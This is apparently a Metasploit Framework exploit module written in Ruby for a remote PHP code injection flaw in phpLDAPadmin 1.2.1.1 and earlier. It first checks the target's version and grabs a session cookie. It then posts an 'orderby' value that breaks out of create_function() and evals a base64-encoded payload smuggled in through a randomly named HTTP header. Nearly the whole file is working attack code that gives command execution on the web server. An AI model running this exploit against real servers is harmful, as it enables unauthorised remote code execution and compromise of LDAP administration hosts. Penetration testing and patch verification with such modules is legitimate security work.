phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection

##
# $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Payload::Php

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
   'Description'    => %q{
     This module exploits a vulnerability in the lib/functions.php that allows
    attackers input parsed directly to the create_function() php function. A patch was
    issued that uses a whitelist regex expression to check the user supplied input
    before being parsed to the create_function() call.
   },
   'Author'         =>
    [
     'EgiX <n0b0d13s[at]gmail-com>',               # original discovery/poc
     'mr_me <steventhomasseeley[at]gmail-com>',    # msf
     'TecR0c <roccogiovannicalvi[at]gmail-com >',  # msf
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 14060 $',
   'References'     =>
    [
     ['BID', '50331'],
     ['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
     ['URL', 'http://www.exploit-db.com/exploits/18021/'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 4000,
     'Keys'        => ['php'],
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Oct 24 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
    ], self.class)
 end

 def check
  uri = ''
  uri << datastore['URI']
  uri << '/' if uri[-1,1] != '/'
  uri << 'index.php'

  res = send_request_raw(
   {
    'method'  => 'GET',
    'uri' => uri,
   }, 3)

  if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def get_session
  uri = ''
  uri << datastore['URI']
  uri << '/' if uri[-1,1] != '/'
  uri << 'index.php'

  res = send_request_raw(
   {
    'method'  => 'GET',
    'uri' => uri,
   }, 3)

  if (not res.headers['Set-Cookie'])
   print_error("Could not generate a valid session")
   return
  end

  return res.headers['Set-Cookie']
 end

 def cleanup
  # We may not be using php/exe again, so clear the CMD option
  if datastore['CMD']
   datastore['CMD'] = nil
  end
 end

 def exploit
  # if we are using the exec CMD stager
  # important to check which php functions are disabled
  if datastore['CMD']
   cmd = Rex::Text.encode_base64(datastore['CMD'])
   dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
   out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
   shell = <<-END_OF_PHP_CODE
   $c = base64_decode("#{cmd}");
   #{php_preamble({:disabled_varname => dis})}
   #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})}
   echo #{out};
   END_OF_PHP_CODE
   p = Rex::Text.encode_base64(Rex::Text.compress(shell))
  else
   p = Rex::Text.encode_base64(payload.encoded)
  end

  # Generate some random strings
  hidden_header = rand_text_alpha_upper(6)
  fake_func_name = rand_text_alpha_upper(2)

  # build sttack string
  php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
  data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
  session = get_session

  uri = ''
  uri << datastore['URI']
  uri << '/' if uri[-1,1] != '/'
  uri << 'cmd.php'

  res = send_request_cgi(
   {
    'method' => 'POST',
    'uri' => uri,
    'data' => data,
    'headers' =>
     {
      "#{hidden_header}" => p,
      'Cookie' => session,
      'Connection' => 'Close',
     },
    
   }, 3)

  print_status("%s" % res.body) if datastore['CMD']
 end

end